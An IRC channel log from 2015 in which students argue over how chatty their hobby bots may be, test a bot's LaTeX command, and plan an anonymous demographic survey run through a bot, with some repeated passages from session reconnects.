[2015-03-26T21:27:09-0400] <z3t> Make a prefix for it :/
[2015-03-26T21:27:09-0400] <+awe> Why is Jacob so dumb?
[2015-03-26T21:27:16-0400] <+awe> Oh, it's only one word questions.
[2015-03-26T21:27:18-0400] <+awe> What?
[2015-03-26T21:27:18-0400] <JacobBot> https://lmddgtfy.net/?q=what
[2015-03-26T21:27:23-0400] <z3t> Is it?
[2015-03-26T21:27:23-0400] <+awe> I'm so confused.
[2015-03-26T21:27:23-0400] <JacobBot> https://lmddgtfy.net/?q=is+it
[2015-03-26T21:27:27-0400] <+awe> Jacob's an idiot?
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[2015-03-26T21:27:34-0400] <z3t> lol?
[2015-03-26T21:27:34-0400] <sadbot> :(
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[2015-03-26T21:27:47-0400] <JacobEdelman> okay
[2015-03-26T21:27:48-0400] <JacobEdelman> there
[2015-03-26T21:27:52-0400] <JacobEdelman> it won;t be soo anoying
[2015-03-26T21:27:54-0400] <z3t> Fixed?
[2015-03-26T21:27:58-0400] <JacobEdelman> it if still has too many false positives
[2015-03-26T21:28:06-0400] <JacobEdelman> then I'll remove it entirely
[2015-03-26T21:28:11-0400] <z3t> False positives?
[2015-03-26T21:28:16-0400] <JacobEdelman> awe: sadbot says :( everytime somebody says lol
[2015-03-26T21:28:17-0400] <sadbot> :(
[2015-03-26T21:28:17-0400] <+awe> [20:01:08] <z3t> awe ban bots from any nicks starting with 'f' pls
[2015-03-26T21:28:20-0400] <JacobEdelman> z3t:
[2015-03-26T21:28:25-0400] <JacobEdelman> probably?
[2015-03-26T21:28:25-0400] <JacobBot> https://lmddgtfy.net/?q=probably
[2015-03-26T21:28:26-0400] <+awe> z3t: you don't want me to allow fwilson to have bots?
[2015-03-26T21:28:28-0400] <JacobEdelman> yeah, like that
[2015-03-26T21:28:34-0400] <JacobEdelman> awe:
[2015-03-26T21:28:37-0400] <JacobEdelman> @fortune
[2015-03-26T21:28:37-0400] <JacobBot> In 13 months you shall be overwelmed by an imporant idea.
[2015-03-26T21:28:39-0400] <z3t> well
[2015-03-26T21:28:46-0400] <JacobEdelman> @latex 2^3\sum{2+3}
[2015-03-26T21:28:47-0400] <JacobBot> 2³∑2+3
[2015-03-26T21:28:52-0400] <fwilson> awe: bots
[2015-03-26T21:28:54-0400] <JacobEdelman> look at that latex
[2015-03-26T21:28:55-0400] <fwilson> bots everywhere
[2015-03-26T21:28:56-0400] <z3t> anyone named JacobEdelman or fwilson , just deny bot privileges
[2015-03-26T21:28:57-0400] <JacobEdelman> that amazing latex
[2015-03-26T21:29:00-0400] <JacobEdelman> now gnight
[2015-03-26T21:29:04-0400] <fwilson> z3t: i mean you have umode +B for a reason lol
[2015-03-26T21:29:05-0400] <sadbot> :(
[2015-03-26T21:29:08-0400] <fwilson> lol
[2015-03-26T21:29:08-0400] <sadbot> :(
[2015-03-26T21:29:11-0400] <fwilson> lol
[2015-03-26T21:29:11-0400] <sadbot> :(
[2015-03-26T21:29:14-0400] <fwilson> rofl
[2015-03-26T21:29:16-0400] <fwilson> lmao
[2015-03-26T21:29:17-0400] <JacobEdelman> actually, my bot works
[2015-03-26T21:29:27-0400] <+awe> If bots get out of hand here, I will ask that they all get moved out of here.
[2015-03-26T21:29:39-0400] <fwilson> so, you're okay with non-obnoxious bots?
[2015-03-26T21:29:41-0400] <fwilson> like me?
[2015-03-26T21:29:44-0400] <fwilson> great
[2015-03-26T21:29:44-0400] <+awe> Yeah.
[2015-03-26T21:29:46-0400] <JacobEdelman> although honestly
[2015-03-26T21:29:52-0400] <+awe> For example, awebot is fine.
[2015-03-26T21:29:53-0400] <JacobEdelman> mine isn't obnoxious
[2015-03-26T21:30:02-0400] <jwoglom> lol lol lol lol
[2015-03-26T21:30:02-0400] <sadbot> :(
[2015-03-26T21:30:05-0400] <fwilson> cool, okay
[2015-03-26T21:30:18-0400] <JacobEdelman> the few features that aren't user activated are rare
[2015-03-26T21:30:31-0400] <JacobEdelman> like when you ask someone about the purpose of something
[2015-03-26T21:30:31-0400] <JacobBot> I think you meant: like when you ask someone about the porpoise of something
[2015-03-26T21:32:25-0400]  
[2015-03-26T21:32:25-0400] ------------- Begin Session -------------
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[2015-03-26T21:32:28-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-03-26T21:32:28-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T21:28:28-0400] <JacobEdelman> yeah, like that
[2015-03-26T21:28:34-0400] <JacobEdelman> awe:
[2015-03-26T21:28:37-0400] <JacobEdelman> @fortune
[2015-03-26T21:28:37-0400] <JacobBot> In 13 months you shall be overwelmed by an imporant idea.
[2015-03-26T21:28:39-0400] <z3t> well
[2015-03-26T21:28:46-0400] <JacobEdelman> @latex 2^3\sum{2+3}
[2015-03-26T21:28:47-0400] <JacobBot> 2³∑2+3
[2015-03-26T21:28:52-0400] <fwilson> awe: bots
[2015-03-26T21:28:54-0400] <JacobEdelman> look at that latex
[2015-03-26T21:28:55-0400] <fwilson> bots everywhere
[2015-03-26T21:28:56-0400] <z3t> anyone named JacobEdelman or fwilson , just deny bot privileges
[2015-03-26T21:28:57-0400] <JacobEdelman> that amazing latex
[2015-03-26T21:29:00-0400] <JacobEdelman> now gnight
[2015-03-26T21:29:04-0400] <fwilson> z3t: i mean you have umode +B for a reason lol
[2015-03-26T21:29:05-0400] <sadbot> :(
[2015-03-26T21:29:08-0400] <fwilson> lol
[2015-03-26T21:29:08-0400] <sadbot> :(
[2015-03-26T21:29:11-0400] <fwilson> lol
[2015-03-26T21:29:11-0400] <sadbot> :(
[2015-03-26T21:29:14-0400] <fwilson> rofl
[2015-03-26T21:29:16-0400] <fwilson> lmao
[2015-03-26T21:29:17-0400] <JacobEdelman> actually, my bot works
[2015-03-26T21:29:27-0400] <+awe> If bots get out of hand here, I will ask that they all get moved out of here.
[2015-03-26T21:29:39-0400] <fwilson> so, you're okay with non-obnoxious bots?
[2015-03-26T21:29:41-0400] <fwilson> like me?
[2015-03-26T21:29:44-0400] <fwilson> great
[2015-03-26T21:29:44-0400] <+awe> Yeah.
[2015-03-26T21:29:46-0400] <JacobEdelman> although honestly
[2015-03-26T21:29:52-0400] <+awe> For example, awebot is fine.
[2015-03-26T21:29:53-0400] <JacobEdelman> mine isn't obnoxious
[2015-03-26T21:30:02-0400] <jwoglom> lol lol lol lol
[2015-03-26T21:30:02-0400] <sadbot> :(
[2015-03-26T21:30:05-0400] <fwilson> cool, okay
[2015-03-26T21:30:18-0400] <JacobEdelman> the few features that aren't user activated are rare
[2015-03-26T21:30:31-0400] <JacobEdelman> like when you ask someone about the purpose of something
[2015-03-26T21:30:31-0400] <JacobBot> I think you meant: like when you ask someone about the porpoise of something
[2015-03-26T21:30:35-0400] <jwoglom> JacobEdelman: you should totally make your bot conflict with some of awebot's commands
[2015-03-26T21:30:35-0400] <JacobEdelman> :P
[2015-03-26T21:30:37-0400] <jwoglom> that'd be fun
[2015-03-26T21:30:43-0400] <JacobEdelman> jwoglom: lol, yes
[2015-03-26T21:30:43-0400] <sadbot> :(
[2015-03-26T21:30:49-0400] <JacobEdelman> also, I vote we kill sadbot
[2015-03-26T21:30:52-0400] <JacobEdelman> its actually confusing
[2015-03-26T21:30:59-0400] <JacobEdelman> or have it only do that 1/10th of the time
[2015-03-26T21:31:01-0400] <JacobEdelman> or even better
[2015-03-26T21:31:04-0400] <JacobEdelman> @latex 1/10
[2015-03-26T21:31:05-0400] <JacobBot> Oops, something went wrong. Are you being a bad person?
[2015-03-26T21:31:08-0400] <JacobEdelman> oh wait
[2015-03-26T21:31:12-0400] <JacobEdelman> that doesn't work
[2015-03-26T21:31:14-0400] <JacobEdelman> for whatever reason
[2015-03-26T21:32:31-0400] Mode is +nt
[2015-03-26T21:32:36-0400] <JacobEdelman> awe: does my bot's latex work for you?
[2015-03-26T21:32:45-0400] <JacobEdelman> @latex 2^3\sum{2+3}
[2015-03-26T21:32:45-0400] <JacobBot> 2³∑2+3
[2015-03-26T21:33:07-0400] <bob_twinkles> @latex \frac{1}{10}
[2015-03-26T21:33:07-0400] <JacobBot> (1 / 10)
[2015-03-26T21:33:08-0400] <JacobEdelman> @latex 2^3\sum{2+3*\pi}
[2015-03-26T21:33:08-0400] <JacobBot> 2³∑2+3*π
[2015-03-26T21:33:12-0400] <bob_twinkles> good job JacobBot 
[2015-03-26T21:33:15-0400] <+awe> How does everyone feel about bots only being allowed to speak when the user actually requests it?
[2015-03-26T21:33:30-0400] <bob_twinkles> the one exception I would make is if someone has a link-shortening bot
[2015-03-26T21:33:32-0400] <JacobEdelman> awe: i think if a bot speaks one in 50 other times its okay
[2015-03-26T21:33:34-0400] <bob_twinkles> but yeah
[2015-03-26T21:33:36-0400] <JacobEdelman> or maybe one in hundred
[2015-03-26T21:33:46-0400] <JacobEdelman> or when it is clearly useful
[2015-03-26T21:33:52-0400] <JacobEdelman> my bot has some jokes
[2015-03-26T21:33:56-0400] <JacobEdelman> that would be funny I think
[2015-03-26T21:33:59-0400] <JacobEdelman> but fairly rare
[2015-03-26T21:34:06-0400] <bob_twinkles> once, after awhile they get pretty annoying
[2015-03-26T21:34:13-0400] <JacobEdelman> well... I think its for noobs
[2015-03-26T21:34:18-0400] <JacobEdelman> and I'm not sure
[2015-03-26T21:34:23-0400] <JacobEdelman> some of them will always be funny
[2015-03-26T21:34:26-0400] • JacobEdelman: lost the game
[2015-03-26T21:34:35-0400] <fwilson> awe: i mean, random probability stuff is fun sometimes
[2015-03-26T21:34:38-0400] <fwilson> but primarily yeah
[2015-03-26T21:34:56-0400] <JacobEdelman> yeah, how about 1/100 or so unsolicited stuff
[2015-03-26T21:34:59-0400] <bob_twinkles> out of the... ~6 or so joke-telling hooks we have in tjhsstbot the only one still enabled only triggers something like 1 : 1000 times it's conditions are satisfied
[2015-03-26T21:35:01-0400] <jwoglom> yeah random occurence things are kind of annoying
[2015-03-26T21:35:06-0400] <JacobEdelman> and we will only enforce that amount of peiple complain
[2015-03-26T21:35:06-0400] <bob_twinkles> they pretty much never fire
[2015-03-26T21:35:23-0400] <JacobEdelman> I think 1/100 is okay
[2015-03-26T21:35:25-0400] <fwilson> "the dankest memes" would be a good name for a band...
[2015-03-26T21:35:45-0400] <JacobEdelman> and its fine if the conditions are only satistied one in a hundred times and it triggers every time
[2015-03-26T21:35:51-0400] <z3t> awe I think they should have required ! prefixes
[2015-03-26T21:35:52-0400] <fwilson> how about this
[2015-03-26T21:35:59-0400] <fwilson> if someone is annoyed by it and asks you to disable it
[2015-03-26T21:36:00-0400] <z3t> for example !jb for JacobBot
[2015-03-26T21:36:01-0400] <fwilson> you should disable it
[2015-03-26T21:36:01-0400] <JacobEdelman> z3t: why no @ prefixeds
[2015-03-26T21:36:05-0400] <JacobEdelman> *prefixes
[2015-03-26T21:36:06-0400] <fwilson> z3t: or just some prefix
[2015-03-26T21:36:11-0400] <JacobEdelman> or our own custom prefixes
[2015-03-26T21:36:12-0400] <z3t> Some prefix to be used for all your commands
[2015-03-26T21:36:15-0400] <fwilson> yeah
[2015-03-26T21:36:17-0400] <jwoglom> just use a different character
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[2015-03-26T21:36:19-0400] <z3t> @jacobbot latext
[2015-03-26T21:36:20-0400] <jwoglom> !, @, #, $, whatever
[2015-03-26T21:36:21-0400] <z3t> latex *
[2015-03-26T21:36:32-0400] <fwilson> my command character is going to be /
[2015-03-26T21:36:35-0400] <fwilson> what are you going to do about it
[2015-03-26T21:36:40-0400] <JacobEdelman> I want the prefix ?
[2015-03-26T21:36:52-0400] <fwilson> ???
[2015-03-26T21:36:52-0400] <JacobEdelman> or wait, maybe $
[2015-03-26T21:36:54-0400] <JacobEdelman> nah
[2015-03-26T21:36:55-0400] <JacobEdelman> ?
[2015-03-26T21:36:58-0400] <fwilson> ?
[2015-03-26T21:37:06-0400] <z3t> lol?
[2015-03-26T21:37:07-0400] <sadbot> :(
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[2015-03-26T21:37:32-0400] <fwilson> :(
[2015-03-26T21:37:35-0400] <JacobEdelman> also, if you address the bot
[2015-03-26T21:37:40-0400] <JacobEdelman> it should be allowed to say something
[2015-03-26T21:37:42-0400] <JacobEdelman> or mention it
[2015-03-26T21:37:48-0400] <+awe> JacobEdelman: No, one in one hundred is too frequent.
[2015-03-26T21:37:48-0400] <JacobEdelman> (assuming its name is not troll)
[2015-03-26T21:37:58-0400] <Tamini> so anyway um
[2015-03-26T21:37:59-0400] <Tamini> bob_twinkles:
[2015-03-26T21:38:02-0400] <bob_twinkles> hi
[2015-03-26T21:38:06-0400] <Tamini> wtf is happening with the physics lab next year do you know
[2015-03-26T21:38:11-0400] <bob_twinkles> nope
[2015-03-26T21:38:13-0400] <Tamini> i didnt know dr dell wasnt doing optics lab what
[2015-03-26T21:38:16-0400] <fwilson> i hope physics disappears forever
[2015-03-26T21:38:20-0400] <bob_twinkles> fwilson: =(
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[2015-03-26T21:38:32-0400] <JacobEdelman> updated ? version
[2015-03-26T21:38:32-0400] <fwilson> :)
[2015-03-26T21:38:32-0400] <jwoglom> fwilson: this isn't the best channel to rant about physics
[2015-03-26T21:38:33-0400] <bob_twinkles> Tamini: yeah I heard that, no idea what's up with it though
[2015-03-26T21:38:34-0400] <jwoglom> lol
[2015-03-26T21:38:35-0400] <JacobEdelman> ?fortune
[2015-03-26T21:38:35-0400] <JacobBot> Within 17 days you will receive an unusual student.
[2015-03-26T21:38:38-0400] <JacobEdelman> wow
[2015-03-26T21:38:39-0400] <fwilson> ( ͡° ͜ʖ ͡°)
[2015-03-26T21:38:46-0400] <jwoglom> ???
[2015-03-26T21:38:47-0400] <Tamini> couldnt he have told us this like....
[2015-03-26T21:38:53-0400] <Tamini> before we signed up for labs? >__>
[2015-03-26T21:38:58-0400] <bob_twinkles> apparently not
[2015-03-26T21:39:04-0400] <JacobEdelman> ?latex \lim{n}{100}{\pi}
[2015-03-26T21:39:05-0400] <JacobBot> \\limn100π
[2015-03-26T21:39:07-0400] <Tamini> i feel scammed, man
[2015-03-26T21:39:09-0400] <JacobEdelman> ?latex \lim{n}{100}
[2015-03-26T21:39:09-0400] <JacobBot> \\limn100
[2015-03-26T21:39:12-0400] <JacobEdelman> ?latex \lim{n}
[2015-03-26T21:39:12-0400] <JacobBot> \\limn
[2015-03-26T21:39:14-0400] <jwoglom> well, not really much you can do about it now :/
[2015-03-26T21:39:20-0400] <JacobEdelman> ?latex 2^\sum{n}
[2015-03-26T21:39:20-0400] <JacobBot> 2∑n
[2015-03-26T21:39:27-0400] <JacobEdelman> ?latex 2*\sum{2^n}
[2015-03-26T21:39:27-0400] <JacobBot> 2*∑2ⁿ
[2015-03-26T21:39:40-0400] <JacobEdelman> gnight all
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[2015-03-26T21:39:59-0400] <JacobEdelman> awe: one in two hundred?
[2015-03-26T21:40:02-0400] <+awe> No.
[2015-03-26T21:40:05-0400] <JacobEdelman> fine
[2015-03-26T21:40:07-0400] <JacobEdelman> only when called
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[2015-03-26T21:40:25-0400] <JacobEdelman> is this okay?
[2015-03-26T21:40:28-0400] <JacobEdelman> shut up JacobBot
[2015-03-26T21:40:28-0400] <JacobBot> YOU SHALL NEVER SILENCE ME!!!!!!!!
[2015-03-26T21:40:34-0400] <JacobEdelman> its specifically addressed
[2015-03-26T21:40:38-0400] <JacobEdelman> so I think it should be fine
[2015-03-26T21:40:40-0400] <JacobEdelman> ?
[2015-03-26T21:40:40-0400] <+awe> Yeah, that's fine.
[2015-03-26T21:40:43-0400] <JacobEdelman> good
[2015-03-26T21:40:45-0400] <JacobEdelman> gnight
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[2015-03-26T21:40:50-0400] <+awe> The proc rate on awebot's lewd messages is 1 : 1000, for the record.
[2015-03-26T21:41:21-0400] <Tamini> i keep getting it
[2015-03-26T21:41:22-0400] <bob_twinkles> can we require a SLA for bot maintainers 
[2015-03-26T21:41:23-0400] <z3t> jwoglom can you rerun log stats with updated logs
[2015-03-26T21:41:23-0400] <Tamini> it makes me feel pretty
[2015-03-26T21:41:35-0400] <+awe> bob_twinkles: what level of SLA?
[2015-03-26T21:41:41-0400] <+awe> Tamini: haha, you are pretty. <3
[2015-03-26T21:41:44-0400] <jwoglom> z3t: ok rerunning
[2015-03-26T21:41:52-0400] <bob_twinkles> uh... something better than JacobBot's current uptime =P
[2015-03-26T21:42:00-0400] <Tamini> <33
[2015-03-26T21:42:04-0400] <jwoglom> bob_twinkles: yeah, that would be nice :P
[2015-03-26T21:42:13-0400] <JacobEdelman> SLA?
[2015-03-26T21:42:22-0400] <jwoglom> required uptime, basically
[2015-03-26T21:42:24-0400] <+awe> service-level agreement
[2015-03-26T21:42:31-0400] <JacobEdelman> Ah, okay
[2015-03-26T21:43:00-0400] <+awe> It's basically a contract that places some requirements on a service operator. This includes mean time between failures, mean time to recover, general uptime, etc.
[2015-03-26T21:43:15-0400] <fwilson> like digitalocean's
[2015-03-26T21:43:20-0400] <fwilson> i've been credited under it before :D
[2015-03-26T21:44:23-0400] <bob_twinkles> hmm... I suppose I could run a tjhsstbot instance for #pdgn
[2015-03-26T21:44:47-0400] <bob_twinkles> so far we've survived without a channel bot though, so I'm not really sure if it's necessary
[2015-03-26T21:44:51-0400] <+awe> I don't think it is.
[2015-03-26T21:44:59-0400] <+awe> I can always add awebot stuff if we need it.
[2015-03-26T21:45:12-0400] <jwoglom> cslbot has a lot more features, though
[2015-03-26T21:45:31-0400] <bob_twinkles> we just spent 2 days architecting some really neat optimizations to the markov chain engine though =P
[2015-03-26T21:46:02-0400] <bob_twinkles> it can compute a chain from a corpus of several tens of thousands of lines in like a second
[2015-03-26T21:46:16-0400] <+awe> I'm not sure how fast mine is.
[2015-03-26T21:46:19-0400] <jwoglom> *hundreds of thousands :P
[2015-03-26T21:46:20-0400] <+awe> I should probably benchmark that.
[2015-03-26T21:46:45-0400] <jwoglom> well, around 100k, probably like 90k without parts/joins and the like
[2015-03-26T21:47:16-0400] <bob_twinkles> for some reason my #tjhsst log file is nearly a million lines
[2015-03-26T21:47:29-0400] <bob_twinkles> oops?
[2015-03-26T21:47:40-0400] <z3t> sdamashek banned me from #tjhsst :(
[2015-03-26T21:47:48-0400] <Tamini> oh, sdamashek did it?
[2015-03-26T21:47:50-0400] <Tamini> a++ :D
[2015-03-26T21:48:13-0400] <jwoglom> you kind of deserved it
[2015-03-26T21:48:16-0400] <jwoglom> to be fair
[2015-03-26T21:48:27-0400] <z3t> for collecting data?
[2015-03-26T21:48:29-0400] <alokpathy> Wait I afk'd what happened
[2015-03-26T21:48:32-0400] <jwoglom> for trolling
[2015-03-26T21:48:43-0400] <z3t> I was collecting legitimate data.
[2015-03-26T21:48:50-0400] <z3t> I was analyzing the racial diversity.
[2015-03-26T21:48:51-0400] <jwoglom> "legitimate"
[2015-03-26T21:50:01-0400] <ubuntor> "Are you asian? - Yes or Yes"
[2015-03-26T21:50:13-0400] <z3t> They don't have to answer!
[2015-03-26T21:51:41-0400] <jwoglom> https://morbo.wogloms.com/~james/pisg/pdgn/pdgn.html btw
[2015-03-26T21:51:43-0400] <+awe> Would people be offended if I actually did do a small survey here?
[2015-03-26T21:51:49-0400] <Tamini> of what?
[2015-03-26T21:51:52-0400] <+awe> Demographics.
[2015-03-26T21:52:21-0400] <jwoglom> how would you do it?
[2015-03-26T21:52:51-0400] <ubuntor> just a survey?
[2015-03-26T21:52:52-0400] <+awe> I'll probably make an awebot plugin, you'll pm him with @startsurvey or something, you'll answer some questions, and then maybe I'll add some commands to get some demographic information quickly.
[2015-03-26T21:53:10-0400] <jwoglom> why not do like a google form then
[2015-03-26T21:53:18-0400] <+awe> Google Form > Google owns the information.
[2015-03-26T21:53:56-0400] <z3t> fwilson "z3t seems to be sad at the moment: 8.4% lines contained sad faces. :( "
[2015-03-26T21:53:58-0400] <z3t> rekt
[2015-03-26T21:54:28-0400] <fwilson> :(
[2015-03-26T21:54:44-0400] <+awe> jwoglom: I was thinking that originally, but I'd prefer to keep the information here.
[2015-03-26T21:54:51-0400] <jwoglom> ok
[2015-03-26T21:56:13-0400] <+awe> Is ubuntor stupid or just asking too many questions? 16.7% lines contained a question! 
[2015-03-26T21:56:18-0400] <+awe> How do you ask so many questions, ubuntor?
[2015-03-26T21:56:30-0400] <ubuntor> i ask too many questions?
[2015-03-26T21:56:36-0400] <jwoglom> "
[2015-03-26T21:56:39-0400] <jwoglom> jwoglom brings happiness to the world. 10.6% lines contained smiling faces. :) 
[2015-03-26T21:56:41-0400] <jwoglom> :D
[2015-03-26T21:56:42-0400] <+awe> So, yeah, how would people feel about participating in a small demographic survey?
[2015-03-26T21:56:43-0400] <sdamashek> why do you ask too many questions???
[2015-03-26T21:56:48-0400] <sdamashek> awe: sure
[2015-03-26T21:56:52-0400] <jwoglom> yeah sure why not
[2015-03-26T21:57:17-0400] <+awe> It'll be completely anonymous, of course.
[2015-03-26T21:57:34-0400] <jwoglom> anonymous or confidential?
[2015-03-26T21:58:04-0400] <+awe> awebot won't record who the information was for, and I'll also keep the individual records confidential.
[2015-03-26T22:00:12-0400] • awe: slaps nezorg around with a pair of http://goo.gl/oJKGg7.
[2015-03-26T22:01:05-0400] <sdamashek> k
[2015-03-26T22:01:10-0400] <alokpathy> lel
[2015-03-26T22:01:15-0400] <Tamini> gorgeous
[2015-03-26T22:03:23-0400] <LittleBobbyTables> I don't like this survey
[2015-03-26T22:03:31-0400] <+awe> Why not?
[2015-03-26T22:03:39-0400] <LittleBobbyTables> Because.
[2015-03-26T22:04:06-0400] <+awe> Oh, well, that's a good point you've got there. Care to elaborate further?
[2015-03-26T22:04:24-0400] <LittleBobbyTables> Because I haven't seen it, therefore it's bad.
[2015-03-26T22:05:47-0400] <+awe> Well, I'll make it soon.
[2015-03-26T22:06:35-0400] <JacobEdelman> I'm offended by this survey
[2015-03-26T22:07:00-0400] <JacobEdelman> It's clearly anti semetic
[2015-03-26T22:07:09-0400] <z3t> brb trackpad is being mean
[2015-03-26T22:07:28-0400] <JacobEdelman> Awe: just because you haven't known any Jews is no reason to be like that
[2015-03-26T22:07:33-0400] <JacobEdelman> :P
[2015-03-26T22:07:45-0400] <+awe> I'm sorry, what?
[2015-03-26T22:07:52-0400] <JacobEdelman> Your survey
[2015-03-26T22:08:06-0400] <JacobEdelman> I agree with lbt
[2015-03-26T22:08:14-0400] <JacobEdelman> Based of never having seen it
[2015-03-26T22:08:16-0400] <JacobEdelman> I hate it
[2015-03-26T22:08:21-0400] <JacobEdelman> :P
[2015-03-26T22:08:24-0400] <LittleBobbyTables> It's two against three, awe.
[2015-03-26T22:08:28-0400] <LittleBobbyTables> Looks like your surveys bad
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[2015-03-26T22:08:38-0400] <+awe> You'll be able to see it before participating?
[2015-03-26T22:08:44-0400] <JacobEdelman> (The joke is that both awe and I are Jewish)
[2015-03-26T22:08:47-0400] <JacobEdelman> No
[2015-03-26T22:08:49-0400] <LittleBobbyTables> (I got that)
[2015-03-26T22:08:50-0400] <fwilson> awe: sure i'll participate
[2015-03-26T22:08:53-0400] <JacobEdelman> It's to late
[2015-03-26T22:08:55-0400] <LittleBobbyTables> I mean, I knew awe was
[2015-03-26T22:08:57-0400] <LittleBobbyTables> But not you
[2015-03-26T22:09:00-0400] <JacobEdelman> Its horrible
[2015-03-26T22:09:05-0400] <LittleBobbyTables> Being Jewish?
[2015-03-26T22:09:16-0400] <JacobEdelman> No... The survey
[2015-03-26T22:09:26-0400] <LittleBobbyTables> Considering we were just talking about you being Jewish...
[2015-03-26T22:09:31-0400] <JacobEdelman> Lol
[2015-03-26T22:10:16-0400] <JacobEdelman> I remember a CS team I was on with awe, Berger, and Ernest
[2015-03-26T22:10:29-0400] <JacobEdelman> So it was 3/4ths Jewish
[2015-03-26T22:10:36-0400] <fwilson> awe: if the survey is tonight and you'd like me to participate please do it soon, i have to sleep soon
[2015-03-26T22:10:49-0400] <JacobEdelman> And Ernest, the one non Jew got us  pepperoni pizza :P
[2015-03-26T22:10:57-0400] <JacobEdelman> Gnight
[2015-03-26T22:11:02-0400] <LittleBobbyTables> Did he pay for it, knowing you guys wouldn't?
[2015-03-26T22:11:06-0400] <fwilson> not right now lol
[2015-03-26T22:12:17-0400] <JacobEdelman> My jokes are getting worse
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:28-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
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[2015-03-26T22:14:27-0400] <Tamini> that's...not going to be very interesting, I think
[2015-03-26T22:15:34-0400] <+awe> Gender identity might be pretty uninteresting, yeah.
[2015-03-26T22:15:36-0400] <LittleBobbyTables> fuck
[2015-03-26T22:15:46-0400] <LittleBobbyTables> I dashed into a wall
[2015-03-26T22:15:48-0400] <LittleBobbyTables> And died...
[2015-03-26T22:16:28-0400] <LittleBobbyTables> Ugh
[2015-03-26T22:16:33-0400] <LittleBobbyTables> 20 GB ssd is so not enough
[2015-03-26T22:16:48-0400] <LittleBobbyTables> And I don't wanna pay 20 bucks a month
[2015-03-26T22:17:34-0400] <grantwu> For hosting?
[2015-03-26T22:17:47-0400] <LittleBobbyTables> For what I'm going to do with it.
[2015-03-26T22:18:07-0400] <+awe> Hmm, I might do it something like this: @survey? will make awebot list out the survey questions and then @survey followed by space-separated answers will be for submission.
[2015-03-26T22:18:09-0400] <fwilson> use as?
[2015-03-26T22:18:24-0400] <+awe> Does that sound okay?
[2015-03-26T22:18:28-0400] <LittleBobbyTables> I think awe is just using this to figure out more about me.
[2015-03-26T22:18:45-0400] <fwilson> aws even
[2015-03-26T22:18:57-0400] <fwilson> awe, what about multi word answers
[2015-03-26T22:19:06-0400] <+awe> It's going to be multiple-choice, I think.
[2015-03-26T22:19:15-0400] <fwilson> ah
[2015-03-26T22:19:20-0400] <fwilson> makes sense
[2015-03-26T22:19:37-0400] <LittleBobbyTables> So, apparently
[2015-03-26T22:19:43-0400] <+awe> It means that the answers will be a little less descriptive of individuals, but it also means that we'll have a more consistent understanding of demos.
[2015-03-26T22:19:44-0400] <LittleBobbyTables> I got stuck into following this person around on reddit
[2015-03-26T22:19:49-0400] <LittleBobbyTables> Giving them facts about cat sex.
[2015-03-26T22:19:56-0400] <fwilson> oh my
[2015-03-26T22:20:03-0400] <LittleBobbyTables> I've sort of ran out of facts, since surprisingly, there's really not that much information on the internet
[2015-03-26T22:20:28-0400] <fwilson> battery life on lollipop is good
[2015-03-26T22:20:42-0400] <fwilson> even on my three year old tablet
[2015-03-26T22:21:33-0400] <+awe> LittleBobbyTables: I'm mostly just interested in having demographic information.
[2015-03-26T22:21:49-0400] <+awe> LittleBobbyTables: I'm pretty sure I could just bug you a lot if I really wanted to know information about you.
[2015-03-26T22:22:03-0400] <LittleBobbyTables> Probably not.
[2015-03-26T22:22:11-0400] <fwilson> awe, there are possible multi-choice things though like race
[2015-03-26T22:23:19-0400] Disconnected from server because the configured IRC server is not reachable
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[2015-03-26T22:23:19-0400] ------------- End Session -------------
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[2015-03-26T22:23:39-0400] ------------- Begin Session -------------
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[2015-03-26T22:23:39-0400] awe (awe@admin.pdgn.co) joined the channel
[2015-03-26T22:23:40-0400] Topic is PdgnCo: http://pdgn.co/ | QuoteDB: http://backtick.town/~kc/qdb.txt | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-03-26T22:23:40-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-26T22:10:36-0400] <fwilson> awe: if the survey is tonight and you'd like me to participate please do it soon, i have to sleep soon
[2015-03-26T22:10:49-0400] <JacobEdelman> And Ernest, the one non Jew got us  pepperoni pizza :P
[2015-03-26T22:10:57-0400] <JacobEdelman> Gnight
[2015-03-26T22:11:01-0400] <LittleBobbyTables> Did he pay for it, knowing you guys wouldn't?
[2015-03-26T22:11:06-0400] <fwilson> not right now lol
[2015-03-26T22:12:17-0400] <JacobEdelman> My jokes are getting worse
[2015-03-26T22:12:24-0400] <+awe> fwilson: It won't be done tonight.
[2015-03-26T22:12:27-0400] <JacobEdelman> So , gnight
[2015-03-26T22:12:31-0400] <fwilson> awe: ok
[2015-03-26T22:12:36-0400] <Tamini> good night fwilson
[2015-03-26T22:12:38-0400] <Tamini> also also
[2015-03-26T22:12:43-0400] <Tamini> i got my canny working it was beautiful
[2015-03-26T22:12:49-0400] <+awe> And you'll definitely be able to take it at your leisure anyway.
[2015-03-26T22:13:10-0400] <LittleBobbyTables> http://games.adultswim.com/robot-unicorn-attack-twitchy-online-game.html
[2015-03-26T22:13:11-0400] <+awe> I'm hoping that once we collect some data, there'll be commands like @demo race or something.
[2015-03-26T22:13:12-0400] <LittleBobbyTables> Is such a fun game
[2015-03-26T22:13:16-0400] <+awe> And it'd give a breakdown of racial identities.
[2015-03-26T22:13:17-0400] <LittleBobbyTables> I know it's old, but still
[2015-03-26T22:13:28-0400] <+awe> Or @demo gender, and it'd give a breakdown of gender identities.
